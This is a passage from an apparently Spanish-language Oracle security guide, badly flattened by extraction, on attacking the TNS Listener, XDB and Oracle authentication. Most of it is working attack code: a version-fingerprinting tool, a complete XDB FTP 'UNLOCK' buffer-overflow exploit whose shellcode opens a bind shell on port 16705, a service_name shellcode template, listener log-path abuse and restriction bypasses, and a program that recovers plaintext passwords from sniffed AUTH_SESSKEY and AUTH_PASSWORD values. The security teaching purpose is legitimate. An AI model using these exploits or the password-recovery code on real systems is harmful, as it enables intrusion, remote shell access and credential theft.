  19. 19. tnsheader.Type = TNS_CONNECT;tnsheader.Flags = 0;tnsheader.HeaderChecksum = 0;tnsconnect.Version = bswap_s(MAX_VER);tnsconnect.MinVersion = bswap_s(MIN_VER);tnsconnect.GlobalServiceOptions = 0;tnsconnect.SessionDataUnit = bswap_s(SDU_MAX);tnsconnect.TransportDataUnit = bswap_s(TDU_MAX);tnsconnect.Characteristics = bswap_s(0x860E);tnsconnect.MaxPacketsBeforeAck = 0;tnsconnect.ByteOrder = 0x1;tnsconnect.Length = bswap_s(data_length);tnsconnect.Offset = bswap_s(0x3A);tnsconnect.MaxRecv = bswap_i(0x000007F8);tnsconnect.AdditionalNetworkOptions = 0x0C0C;memmove(TNSPacket,&tnsheader,sizeof(TNSHeader));memmove(&TNSPacket[sizeof(TNSHeader)],&tnsconnect,50);memmove(&TNSPacket[0x3A],data,data_length);return 0;}int main(int argc, char *argv[]){unsigned int err=0;unsigned short val = 0x13B;if(argc == 1){printf("nt*** OraVer ***");printf("nntGets the Oracle version number.");printf("nntC:>%s host [port]",argv[0]);printf("nntDavidLitchfieldntdavidl@ngssoftware.comnt22th April 2003n");return 0;}strncpy(host,argv[1],256);if(argc == 3)ListenerPort = atoi(argv[2]);err = StartWinsock();if(err==0)printf("Error starting Winsock.n");else{GetOracleVersionByError();GetOracleVersionByProtocolVersion();GetOracleVersionByVersionCommand();}WSACleanup();return 0;}int GetOracleVersionByProtocolVersion(){int res=0;unsigned char buff[2000]="";unsigned char *ptr = NULL;unsigned short ver = 0x13B;InitTNSPacket("AAAABBBBCCCC",DATA_LENGTH);while(ver > 0xCC){ver = (unsigned short)bswap_s(ver);memmove(&TNSPacket[8],&ver,2);memmove(&TNSPacket[10],&ver,2);ver = (unsigned short)bswap_s(ver); 19
  20. 20. res =GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);if(res == -1)return printf("Failed to connect.n");if(res > 0x20){printf("TNS version 0x%.2X is supportedn",ver);break;}elseprintf("TNS version 0x%.2X is not supportedn",ver);ver --;}return 0;}int GetOracleVersionByVersionCommand(){int res=0;unsigned char buff[2000]="";unsigned char *ptr = NULL;unsigned char *vercmd = "(CONNECT_DATA=(COMMAND=version))";InitTNSPacket(vercmd,(unsigned short)strlen(vercmd));res = GetOracleVersion(TNSPacket,0x3A+strlen(vercmd),buff,2000,1);if(res == -1)return printf("Failed to connect.n");if(res > 0x36){ptr = &buff[10];printf("nnVersion command:n%sn",ptr);}elseerror();return 0;}int GetOracleVersionByError(){int res=0;unsigned char buff[2000]="";unsigned char ver[8]="";unsigned char *ptr = NULL;unsigned char h=0,l=0,p=0,q=0;InitTNSPacket("ABCDEFGHIJKL",DATA_LENGTH);res = GetOracleVersion(TNSPacket,0x3A+DATA_LENGTH,buff,2000,0);if(res == -1)return printf("Failed to connect to listener.n");if(res > 0x32){ptr = &buff[36];ptr[6]=0x00;if(strcmp(ptr," VSNNUM")==0){ptr = &ptr[7];res = atoi(ptr);res = res << 4;memmove(ver,&res,4);h = ver[3] >> 4;l = ver[3] << 4;l = l >> 4;p = ver[1] >> 4;q = ver[0] >> 4;printf("nVersion of Oracle is 20
  21. 21. %d.%d.%d.%d.%dnn",h,l,ver[2],p,q);}elsereturn error();}elsereturn error();return 0;}int error(){return printf("There was an error getting the versionnumber.n");}int bswap_s(unsigned int v){__asm {xor eax, eaxmov eax,vbswap eaxshr eax,16mov v, eax}return v;}int bswap_i(unsigned int v){__asm {xor eax, eaxmov eax,vbswap eaxmov v, eax}return v;}int StartWinsock(){int err=0;unsigned int addr;WORD wVersionRequested;WSADATA wsaData;wVersionRequested = MAKEWORD(2, 0);err = WSAStartup(wVersionRequested, &wsaData);if (err != 0)return 0;if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion)!= 0)return 0;s_sa.sin_addr.s_addr=INADDR_ANY;s_sa.sin_family=AF_INET;if (isalpha(host[0])){he = gethostbyname(host);if(he == NULL){printf("Failed to look up %sn",host);return 0;}memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);}else 21
  22. 22. {addr = inet_addr(host);memcpy(&s_sa.sin_addr,&addr,4);}return 1;}int GetOracleVersion(unsigned char *pkt, unsigned int pkt_len,unsignedchar *resp, unsigned int resp_len, int dr){unsigned char ver[8]="";unsigned char h=0,l=0,p=0,q=0;int snd=0,rcv=0,count=0;unsigned int to=1000;SOCKET cli_sock;char *ptr = NULL;cli_sock=socket(AF_INET,SOCK_STREAM,0);if (cli_sock==INVALID_SOCKET)return printf("nFailed to create the socket.n");setsockopt(cli_sock,SOL_SOCKET,SO_RCVTIMEO,(char*)&to,sizeof(unsigned int));s_sa.sin_port=htons((unsigned short)ListenerPort);if(connect(cli_sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR){printf("nFailed to connect to the Listener.n");return -1;}snd=send(cli_sock, pkt , pkt_len , 0);rcv = recv(cli_sock,resp,resp_len,0);if(dr)rcv = recv(cli_sock,resp,resp_len,0);closesocket(cli_sock);if(rcv == SOCKET_ERROR)return 0;elsereturn rcv;} U S A N D O L A V E R S I O N D E X M L DA TA BA S E Si la base de datos XML está corriendo en el sistema, se puede lanzar un Telnet al puerto2100 (u el obtenido mediante nmap) para obtener el banner y por tanto la versión. Véase unejemplo:220 PILUM FTP Server (Oracle XML DB/Oracle9i Enterprise Edition Release9.2.0.1.0 - Production) ready.Also, the XDB Web server on TCP port 8080 gives up the version number:GET / HTTP/1.1 22
  23. 23. Host: PILUMHTTP/1.1 401 UnauthorizedMS-Author-Via: DAVDAV: 1,2,<http://www.oracle.com/xdb/webdav/props>Server: Oracle XML DB/Oracle9i Enterprise Edition Release 9.2.0.1.0 -ProductionWWW-Authenticate: Basic Realm=" XDB"Content-Type: text/htmlContent-Length: 147 U S A N D O E L T E X TO D E E R R O R D E T N S Si el Listener recibe un paquete que no comprende, este devolverá un error, el código de eseerror nos proporciona, mediante una simple conversión, la versión que estamos buscando. Elcódigo que buscamos se llama VSNNUM y tiene un formato como 169869568 que enhexadecimal se corresponde con 0x0A200100 con lo que la versión es 10.2.0.1.0. A continuaciónse muestra un dump donde el paquete que no comprende es el que contiene ‘irrompible’:IP HeaderLength and version: 0x45Type of service: 0x00Total length: 181Identifier: 13914Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x41e5Source IP: 192.168.0.120Dest IP: 192.168.0.59 23
  24. 24. TCP HeaderSource port: 1521Dest port: 3004Sequence: 1152664576ack: 2478634793Header length: 0x50Flags: 0x18 (ACK PSH)Window Size: 17451Checksum: 0xcae1Urgent Pointer: 0Raw Data00 8d 00 00 04 00 00 00 22 00 00 81 28 44 45 53 " (DES43 52 49 50 54 49 4f 4e 3d 28 45 52 52 3d 31 31 CRIPTION=(ERR=1135 33 29 28 56 53 4e 4e 55 4d 3d 31 36 39 38 36 53)(VSNNUM=1698639 35 36 38 29 28 45 52 52 4f 52 5f 53 54 41 43 9568)(ERROR_STAC4b 3d 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 31 K=(ERROR=(CODE=131 35 33 29 28 45 4d 46 49 3d 34 29 28 41 52 47 153)(EMFI=4)(ARG53 3d 27 75 6e 62 72 65 61 6b 61 62 6c 65 27 29 S=irrompible)29 28 45 52 52 4f 52 3d 28 43 4f 44 45 3d 33 30 )(ERROR=(CODE=3033 29 28 45 4d 46 49 3d 31 29 29 29 29 3)(EMFI=1)))) U S A N D O L A F U N C I ON T T C Una vez el cliente acepta un paquete recibido del servidor, éste tiene la potestadde negociar información de red adicional, como puede ser: Autenticación,encriptación, integridad de datos, etc. La versión del cliente o del servidor se puedeencontrar en los tres bytes posteriores al ANO gnegotiation hearder (0xDEADBEEF)– con un total de 17 bytes. En la siguiente captura se puede ver:IP Header 24
  25. 25. Length and version: 0x45Type of service: 0x00Total length: 203Identifier: 14473Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x3fa0Source IP: 192.168.0.59Dest IP: 192.168.0.120TCP HeaderSource port: 4194Dest port: 1495Sequence: 422372252ack: 597087647Header length: 0x50Flags: 0x18 (ACK PSH)Window Size: 65087Checksum: 0x7e36Urgent Pointer: 0Raw Data00 a3 00 00 06 00 00 00 00 00 de ad be ef 00 9908 10 74 00 00 04 00 00 04 00 03 00 00 00 00 00 t04 00 05 08 10 74 00 00 02 00 06 00 1f 00 0e 00 t01 de ad be ef 00 03 00 00 00 02 00 04 00 01 00 25
  26. 26. 01 00 07 00 00 00 00 00 04 00 05 08 10 74 00 00 t02 00 06 fa ff 00 01 00 02 01 00 03 00 00 4e 54 NT53 00 04 00 05 02 00 00 00 00 04 00 04 00 00 00 S00 00 04 00 04 00 00 00 02 00 02 00 02 00 00 0000 00 04 00 05 08 10 74 00 00 01 00 02 00 00 03 t00 02 00 00 00 00 00 04 00 05 08 10 74 00 00 01 t00 02 00 A TA C A N D O E L T N S L I S T E N E R Como se avanzaba anteriormente, en versiones 10g y anteriores es TNS Listenerpuede ser administrado remotamente. Entre otras cosas es posible especificar ocambiar el path de los ficheros de log, por lo que en este caso es posible por ejemplocambiar el path a un fichero batch en el directorio de inicio del administrador ensistemas Windows o el fichero .rhosts en el directorio home de Oracle en sistemas*nix. Una vez realizado este cambio el atacante puede enviar un comando o “++” encaso de *nix pudiendo ejecutar comandos como el usuario Oracle. Es recomendableestablecer una password segura en el Listener así como utilizar Admin Restrictionspara impedir por ejemplo que se cambie el path de los logs de forma remota y forzar aque el cambio tenga que realizarse en local. Históricamente el TNS Listener sufrió numerosos casos de buffer overflow, porejemplo, uno de los más usados en exploiting de Oracle es el que usaba elservice_name para introducir una shellcode en el sistema, a continuación vemos unejemplo:(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.65)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=shellcode_goes_here)(CID=(PROGRAM=SQLPLUS.EXE)(HOST=foo)(USER=bar)))) 26
  27. 27. El error o vulnerabilidad se produce cuando el sistema copia el nombre o service-name a la pila (la cual usa como buffer) para escribir el error log, permitiendo de estaforma hacer exploiting para ganar el control sobre el proceso en ejecución. Existen muchos otros buffer Overflow, la inmensa mayoría corregidos enversiones recientes, igualmente los métodos usados para atacar el Listener (Sidenumeration, etc) son comúnmente conocidos, por lo que no se tratarán en estecapítulo, por no aportar nada nuevo. B Y PA S S I N G D E R E S T R I C C I O N E S D E L I S T E N E R E N 1 0 G Una de las medidas que se adoptaron a partir de la versión 10g fue la de introducirrestricciones para usuarios remotos, de manera que ciertas configuraciones requierenque se realicen en local. En ciertos casos, no siempre, es posible bypassear estasrestricciones, en un primer momento podríamos conectarnos a la base de datos yluego usar UTL_TCP para conectarse al Listener, debido a que la petición se hacedesde el mismo sistema, es decir, en local, tendríamos total acceso aunque de formaremota. Otra posible forma para realizar el bypassing consiste en la conexión a127.0.0.1, cuando se hace esto, el Listener es redirigido a través de pipe, el cual puedeconectarse y enviar comandos, por lo que una forma muy simple podría usar lascaracterísticas de conexión en formato string para introducir dicho comando, enversiones recientes esta vulnerabilidad ha sido solucionada. El Listener es también alcanzable vía dispatchers, estos son básicamente dos, elXDB y los Aurora GIOP, estos últimos se usaban en versiones 8 y 9 de Oracle, por loque nos centraremos en el despachador de XML Database o XBD. X D B DA TA B A S E El XDB o Database XML ofrece dos servicios, uno a través de http en el puerto8080 TCP y otro basado en FTP en el puerto 2100 TCP. Al igual que en el casoanterior, históricamente XDB sufrió multitud de buffers overflow, inclusive bufferoverflows en el mecanismo de autenticación cuando se usaban nombre largos, porejemplo el siguiente exploit aprovecha esta vulnerabilidad en XDB 9.2.0.1 corriendosobre Linux:#include <stdio.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h> 27
  28. 28. #include <netdb.h>int main(int argc, char *argv[]){ struct hostent *he; struct sockaddr_in sa; int sock; unsigned int addr = 0; char recvbuffer[512]=""; char user[260]="user "; char passwd[260]="pass "; int rcv=0; int snd =0; int count = 0; unsigned char nop_sled[1804]=""; unsigned char saved_return_address[]="x41xc8xffxbf"; unsigned char exploit[2100]=" unlock / AAAABBB" "BCCCCDDDDEEEEFFF" "FGGGGHHHHIIIIJJJ" "JKKKKLLLLMMMMNNN" "NOOOOPPPPQQQQRRR" "RSSSSTTTTUUUUVVV" "VWWWWXXXXYYYYZZZ" "Zaaaabbbbccccdd"; unsigned char code[]="x31xdbx53x43x53x43x53x4bx6ax66x58x54x59xcd" "x80x50x4bx53x53x53x66x68x41x41x43x43x66x53" "x54x59x6ax10x51x50x54x59x6ax66x58xcdx80x58" "x6ax05x50x54x59x6ax66x58x43x43xcdx80x58x83" "xecx10x54x5ax54x52x50x54x59x6ax66x58x43xcd" 28
  29. 29. "x80x50x31xc9x5bx6ax3fx58xcdx80x41x6ax3fx58""xcdx80x41x6ax3fx58xcdx80x6ax0bx58x99x52x68""x6ex2fx73x68x68x2fx2fx62x69x54x5bx52x53x54""x59xcdx80rn";if(argc !=4){ printf("nntOracle XDB FTP Service UNLOCK Buffer Overflow Exploit"); printf("nttfor Blackhat (http://www.blackhat.com)"); printf("nntSpawns a shell listening on TCP Port 16705"); printf("nntUsage:t%s host userid password",argv[0]); printf("nntDavid Litchfieldnt(david@ngssoftware.com)"); printf("nt7th July 2003nnn"); return 0;}while(count < 1800)nop_sled[count++]=0x90;// Build the exploitstrcat(exploit,saved_return_address);strcat(exploit,nop_sled);strcat(exploit,code);// Process argumentsstrncat(user,argv[2],240);strncat(passwd,argv[3],240);strcat(user,"rn");strcat(passwd,"rn");// Setup socket stuffsa.sin_addr.s_addr=INADDR_ANY;sa.sin_family = AF_INET;sa.sin_port = htons((unsigned short) 2100); 29
  30. 30. // Resolve the target systemif(isalpha(argv[1][0])==0){ addr = inet_addr(argv[1]); memcpy(&sa.sin_addr,&addr,4);}else{ he = gethostbyname(argv[1]); if(he == NULL) return printf("Couldnt resolve host %sn",argv[1]); memcpy(&sa.sin_addr,he->h_addr,he->h_length);} sock = socket(AF_INET,SOCK_STREAM,0); if(sock < 0) return printf("socket() failed.n"); if(connect(sock,(struct sockaddr *) &sa,sizeof(sa)) < 0) { close(sock); return printf("connect() failed.n"); }printf("nConnected to %s....n",argv[1]);// Receive and print bannerrcv = recv(sock,recvbuffer,508,0);if(rcv > 0){ printf("%sn",recvbuffer); bzero(recvbuffer,rcv+1);} 30
  31. 31. else{ close(sock); return printf("Problem with recv()n");}// send user commandsnd = send(sock,user,strlen(user),0);if(snd != strlen(user)){ close(sock); return printf("Problem with send()....n");}else{ printf("%s",user);}// Receive response. Response code should be 331rcv = recv(sock,recvbuffer,508,0);if(rcv > 0){ if(recvbuffer[0]==0x33 && recvbuffer[1]==0x33 && recvbuffer[2]==0x31){printf("%sn",recvbuffer);bzero(recvbuffer,rcv+1);}else{ close(sock); 31
  32. 32. return printf("FTP response code was not 331.n");}}else{ close(sock); return printf("Problem with recv()n");}// Send pass commandsnd = send(sock,passwd,strlen(passwd),0);if(snd != strlen(user)){ close(sock); return printf("Problem with send()....n");}else printf("%s",passwd); // Receive reponse. If not 230 login has failed. rcv = recv(sock,recvbuffer,508,0);if(rcv > 0){ if(recvbuffer[0]==0x32 && recvbuffer[1]==0x33 && recvbuffer[2]==0x30){ printf("%sn",recvbuffer); bzero(recvbuffer,rcv+1);}else{ 32
  33. 33. close(sock); return printf("FTP response code was not 230. Login failed...n"); }}else{ close(sock); return printf("Problem with recv()n");}// Send the UNLOCK command with exploitsnd = send(sock,exploit,strlen(exploit),0);if(snd != strlen(exploit)){ close(sock); return printf("Problem with send()....n");}// Should receive a 550 error response.rcv = recv(sock,recvbuffer,508,0);if(rcv > 0) printf("%sn",recvbuffer); printf("nnExploit code sent....nnNow telnet to %s 16705nn",argv[1]);close(sock);return 0;} 33
  34. 34. A TA C A N D O E L M E C A N I S M O D E AU T E N T I C A C I ÓN Antes de conseguir acceso total a la base de datos, es necesario conseguir acceso,aunque esto parece una trivialidad, en esencia es la diferencia entre autenticación yautorización, es decir, primero deberemos conseguir que el sistema nos autentique,aunque no tengamos autorizado el acceso a determinados datos o funciones delsistema. La autenticación se puede conseguir por varios medios, desde usando buffersoverflows para hacer el exploiting hasta realizando ataques de fuerza bruta odiccionario, pasando por todas las opciones intermedias que pueden existir paraconseguir autenticarse. A estas alturas ya estamos en condiciones de entender como funciona el procesode autenticación en Oracle. Cuando intentamos conectar a una base de datos, elcliente en primer lugar se conectará al TNS Listener, como ya es sabido. El siguientees un Dump del paquete de conexión:IP HeaderLength and version: 0x45Type of service: 0x00Total length: 320Identifier: 9373Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x532dSource IP: 192.168.0.120Dest IP: 192.168.0.37TCP HeaderSource port: 1916Dest port: 1521Sequence: 2802498112ack: 2168229595Header length: 0x50Flags: 0x18 (ACK PSH) 34
  35. 35. Window Size: 17520Checksum: 0x4915Urgent Pointer: 0Raw Data01 18 00 00 01 00 00 00 01 39 01 2c 00 00 08 00 9 ,7f ff c6 0e 00 00 01 00 00 de 00 3a 00 00 02 00 :61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aa00 00 00 00 00 00 00 00 00 00 28 44 45 53 43 52 (DESCR49 50 54 49 4f 4e 3d 28 41 44 44 52 45 53 53 3d IPTION=(ADDRESS=28 50 52 4f 54 4f 43 4f 4c 3d 54 43 50 29 28 48 (PROTOCOL=TCP)(H4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 2e 33 37 OST=192.168.0.3729 28 50 4f 52 54 3d 31 35 32 31 29 29 28 43 4f )(PORT=1521))(CO4e 4e 45 43 54 5f 44 41 54 41 3d 28 53 45 52 56 NNECT_DATA=(SERV45 52 3d 44 45 44 49 43 41 54 45 44 29 28 53 45 ER=DEDICATED)(SE52 56 49 43 45 5f 4e 41 4d 45 3d 6f 72 61 38 31 RVICE_NAME=ora8137 2e 6e 67 73 73 6f 66 74 77 61 72 65 2e 63 6f 7.ngssoftware.co6d 29 28 43 49 44 3d 28 50 52 4f 47 52 41 4d 3d m)(CID=(PROGRAM=43 3a 5c 6f 72 61 63 6c 65 5c 70 72 6f 64 75 63 C:oracleproduc74 5c 31 30 2e 32 2e 30 5c 64 62 5f 31 5c 62 69 t10.2.0db_1bi6e 5c 73 71 6c 70 6c 75 73 2e 65 78 65 29 28 48 nsqlplus.exe)(H4f 53 54 3d 4f 52 41 29 28 55 53 45 52 3d 6f 72 OST=ORA)(USER=or61 63 6c 65 29 29 29 29 acle))))) Nótese que el Service_Name entry= ora817.ngssoftware.com. Este servicio noestá registrado con el TNS Listener, por lo que generará un error. Si es servicio estaregistrado, el Listener redirige al cliente conectando a otro puerto TCP. IP Header Length and version: 0x45 35
  36. 36. Type of service: 0x00 Total length: 104 Identifier: 32335 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xfa52 Source IP: 192.168.0.37 Dest IP: 192.168.0.120 TCP Header Source port: 1521 Dest port: 1916 Sequence: 2168229595 ack: 2802498392 Header length: 0x50 Flags: 0x18 (ACK PSH ) Window Size: 65255 Checksum: 0xe663 Urgent Pointer: 0 Raw Data 00 40 00 00 05 00 00 00 00 36 28 41 44 44 52 45 @ 6(ADDRE 53 53 3d 28 50 52 4f 54 4f 43 4f 4c 3d 74 63 70 SS=(PROTOCOL=tcp 29 28 48 4f 53 54 3d 31 39 32 2e 31 36 38 2e 30 )(HOST=192.168.0 2e 33 37 29 28 50 4f 52 54 3d 33 35 39 30 29 29 .37)(PORT=3590)) En este caso el cliente es redirigido al puerto 3590 TCP. Si el servidor estácorriendo en MTS (multi-threaded server), el cliente no será redirigido y todas lascomunicaciones tendrán lugar sobre el puerto 1521, cuando el cliente está conectadoal nuevo puerto, se produce la petición de servicio, como en el caso de la conexión alListener. 36
  37. 37. IP HeaderLength and version: 0x45Type of service: 0x00Total length: 236Identifier: 59545Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x8f84Source IP: 192.168.0.37Dest IP: 192.168.0.120TCP HeaderSource port: 2500Dest port: 1521Sequence: 668563957ack: 2568057659Header length: 0x50Flags: 0x18 (ACK PSH )Window Size: 32780Checksum: 0x65e8Urgent Pointer: 0Raw Data00 c4 00 00 06 00 00 00 00 00 03 76 02 b0 5f df v _00 06 00 00 00 01 00 00 00 58 cc 12 00 04 00 00 X00 28 ca 12 00 14 ce 12 00 06 73 79 73 74 65 6d ( system0d 00 00 00 0d 41 55 54 48 5f 54 45 52 4d 49 4e AUTH_TERMIN41 4c 07 00 00 00 07 47 4c 41 44 49 55 53 00 00 AL GLADIUS00 00 0f 00 00 00 0f 41 55 54 48 5f 50 52 4f 47 AUTH_PROG52 41 4d 5f 4e 4d 0b 00 00 00 0b 53 51 4c 50 4c RAM_NM SQLPL 37
  38. 38. 55 53 2e 45 58 45 00 00 00 00 0c 00 00 00 0c 41 US.EXE A 55 54 48 5f 4d 41 43 48 49 4e 45 11 00 00 00 11 UTH_MACHINE 57 4f 52 4b 47 52 4f 55 50 5c 47 4c 41 44 49 55 WORKGROUPGLADIU 53 00 00 00 00 08 00 00 00 08 41 55 54 48 5f 50 S AUTH_P 49 44 09 00 00 00 09 35 35 37 36 3a 35 34 35 36 ID 5576:5456 00 00 00 00 En la captura anterior, ese aprecia que el nombre de usuario es “system”. Elsistema realizará una comprobación para ver si el nombre de usuario “system” esválido. Si el usuario no existe el sistema enviará un error de “logon denied” al cliente.En caso de que el usuario exista, el sistema extrae de la base de datos el hash de lapassword del mismo y usa ese mismo hash para generar un “secret number”. Elnúmero secreto se crea de la siguiente forma: el servidor realiza la llamada slgdt() dela librería de Oracle, esta función básicamente obtiene el tiempo del sistema (minutos,horas, milisegundos y segundos) y lo almacena como WORD, a continuación crearáocho bytes cifrados, los primeros cuatro bytes de la clave son usados para representarlos (minutos y horas) XOR (últimos cuatro bytes), estos últimos cuatro bytes son(milisegundos y segundos XOR 4 primeros bytes del hash). Esta clave se usa paraencriptar el texto de la llamada a la función kzsrenc(), esta función básicamenteestablece en DES usando lncgks() y lncecb() para habilitar el cifrado DES en modoECB. El secret number es también encriptado con el hash de la password de usuario elresultado se guarda en AUTH_SESSKEY, esto es lo que se envía: IP Header Length and version: 0x45 Type of service: 0x00 Total length: 185 Identifier: 52755 Flags: 0x4000 TTL: 128 Protocol: 6 (TCP) Checksum: 0xaa3d Source IP: 192.168.0.120 Dest IP: 192.168.0.37 TCP Header 38
  39. 39. Source port: 1521 Dest port: 2500 Sequence: 2568057659 ack: 668564153 Header length: 0x50 Flags: 0x18 (ACK PSH) Window Size: 16275 Checksum: 0x4c2d Urgent Pointer: 0 Raw Data 00 91 00 00 06 00 00 00 00 00 08 01 00 0c 00 00 00 0c 41 55 54 48 5f 53 45 53 53 4b 45 59 10 00 AUTH_SESSKEY 00 00 10 36 43 43 33 37 42 41 33 44 41 37 39 37 6CC37BA3DA797 35 44 36 00 00 00 00 04 01 00 00 00 00 00 00 00 5D6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 36 01 00 00 00 00 00 6 00 b8 00 8b 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Una vez recibido el AUTH_SESSKEY, el cliente debe desencriptar esta clavepara conseguir el secret number. El usuario o cliente crea una copia de su propio hashde password usando lncupw(), que es otra de las funciones que proporciona Oracle.Por tanto el hash es usado como clave para desencriptar el AUTH_SESSKEY y sitodo va bien se obtiene el número secreto, esta clave secreta será luego usada paraencriptar el texto del usuario, el texto cifrado es enviado al servidor comoAUTH_PASSWORD: IP Header Length and version: 0x45 Type of service: 0x00 39
  40. 40. Total length: 839Identifier: 59546Flags: 0x4000TTL: 128Protocol: 6 (TCP)Checksum: 0x8d28Source IP: 192.168.0.37Dest IP: 192.168.0.120TCP HeaderSource port: 2500Dest port: 1521Sequence: 668564153ack: 2568057804Header length: 0x50Flags: 0x18 (ACK PSH )Window Size: 32762Checksum: 0x0838Urgent Pointer: 0Raw Data03 1f 00 00 06 00 00 00 00 00 03 73 03 b0 5f df s _00 06 00 00 00 01 01 00 00 1c da 12 00 07 00 0000 88 d6 12 00 3c dc 12 00 06 73 79 73 74 65 6d < system0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f AUTH_PASSWO52 44 11 00 00 00 11 36 36 36 43 41 46 45 36 37 RD 666CAFE6734 39 43 39 44 37 37 30 00 00 00 00 0d 00 00 00 49C9D770 40
  41. 41. .... El servidor desencripta el AUTH_PASSWORD con el número secreto medianteuna llamada a la función kzsrdep() . El servidor tiene en este momento una copia de lapassword en texto plano, a continuación el servidor crea un hash y lo contrasta con elhash que tiene almacenado en la base de datos, si hace match el usuario esautenticado. A continuación el servidor realizará comprobaciones para saber, porejemplo, si el usuario tiene privilegios para poder crear una sesión. Llegados este punto podemos darnos cuenta que si el AUTH_PASSWORD es de16 caracteres de longitud entonces la password es de 8 o menos, por otro lado si lalongitud de AUTH_PASSWORD es de 32 caracteres la password tendrá una longitudentre 9 y 16 caracteres. Esta información la deducimos únicamente capturando tráficode red y nos puede servir para ver cuan factible sería un ataque de cracking sobre esoshashes. C R I P TO - A TA C A N D O Y L A I M P ORTA N C I A D E P ROT E G E R L A C A PA 2 Conseguir los hashes de Oracle es un proceso trivial y que hacer con ellosdepende en gran medida de la fortaleza, el primer intento debería ser usar rainbowtables (hashes pre-computados), en un segundo intento se podría intentar lanzarataques de diccionarios (más o menos personalizados, no diccionarios estándares) y ala muy malas siempre nos quedaría lanzar un ataque de fuerza bruta, lo cual muchasveces es inviable. Pero no debemos centrarnos únicamente en crackear el hash, lapregunta es, ¿Qué podemos hacer con el hash?, imaginemos que hemos conseguido elhash y queremos tener el texto en plano, para ello podemos sniffar el tráfico de redbuscando AUTH_SESSKEY y AUTH_PASSWORD, es así como conseguiremos eltexto el plano. Como tenemos el hash podemos descencriptar el AUTH_SESSKEY yconseguir en secret number, luego usaremos este número secreto para desencriptarAUTH_PASSWORD y sin hacer nada más tendremos el texto en claro. Como se puede ver uno de los grandes problemas o ventajas según se mire, es elque se pueda hacer sniffing en la red, aquí radica la problemática de la inseguridad decapas inferiores, por defecto en una red segura, no debería estar permitido el envenenamiento de arp, por lo que tampoco se podría hacer un MIT (man in the middle) y porsupuesto debería estar limitado el poder usar el modo promíscuo de las tarjetas de redy por consecuencia no se debería permitir capturar tráfico de red en redes conmutadas(los switch´s deberían configurarse adecuadamente y contemplar opciones de Vlan´s).Obviamente la seguridad en la capa 2 en entornos considerados críticos en lo que aOracle se refiere es, en la mayoría de los casos, es una utopía. El siguiente código usa las funciones kzsrdec() y kzsrdep() para obtener el textoen claro usando el hash la AUTH_SESSKEY y AUTH_PASSWORD:/* 41
  42. 42. C:>cl /TC opass.cC:>opass E:oracleora81BINoracommon8.dllEED9B65CCECDB2E9DF0536A94ADEE74636A2CB576171FEADSecret is CEAF9C221915EC3EPassword is password*/#include <stdio.h>#include <windows.h>int main(int argc, char *argv[]){ FARPROC kzsrdec = NULL; FARPROC kzsrdep = NULL; HANDLE oracommon = NULL; unsigned char dll_path[260]=""; unsigned char hash[40]=""; unsigned char sess[40]=""; unsigned char pass[260]=""; unsigned char o[20]=""; unsigned char pwd[200]="";if(argc!=5){ printf("nt*** Oracle Password Revealer ***nn");return 0; 42
  43. 43. } strncpy(dll_path,argv[1],256); strncpy(hash,argv[2],36); strncpy(sess,argv[3],36); strncpy(pass,argv[4],256); if(StringToHex(hash,1)==0) return printf("Error in the password hash.n"); if(StringToHex(sess,1)==0) return printf("Error in the auth_sesskey.n"); if(StringToHex(pass,0)==0) return printf("Error in the auth_password.n"); oracommon = LoadLibrary(dll_path); if(!oracommon) return printf("Failed to load %sn",dll_path); kzsrdec = GetProcAddress(oracommon," kzsrdec"); if(!kzsrdec) return printf("No address for kzsrdec.n"); kzsrdep = GetProcAddress(oracommon," kzsrdep"); if(!kzsrdep) return printf("No address for kzsrdep.n"); kzsrdec(sess,o,hash); printf("nSecret is%.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2Xn",o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]); kzsrdep(pwd,pass,strlen(pass),o); printf("Password is %sn",pwd); 43
  44. 44. return 0; }int StringToHex(char *str,int cnv){ unsigned int len = 0, c=0,i=0; unsigned char a=0,b=0; unsigned char tmp[12]=""; len = strlen(str); if(len > 16) return 0; while(c < len) { a = str[c++]; b = str[c++]; if(a > 0x2F && a < 0x3A) a = a - 0x30; else if(a > 0x40 && a < 0x47) a = a - 0x37; else if(a > 0x60 && a < 0x67) a = a - 0x57; else return 0; if(b > 0x2F && b < 0x3A) b = b - 0x30; else if(b > 0x40 && a < 0x47) 44
  45. 45. b = b - 0x37; else if(a > 0x60 && a < 0x67) b = b - 0x57; else return 0; a = a << 4; a = a + b; tmp[i]=a; i ++;}memset(str,0,len);c=0;if(cnv){while(c < 8){ str[c+0]=tmp[c+3]; str[c+1]=tmp[c+2]; str[c+2]=tmp[c+1]; str[c+3]=tmp[c+0]; c = c + 4;}return 1;}while(c < 8) 45
  46. 46. { str[c]=tmp[c]; c = c ++; } return 1;} 46

×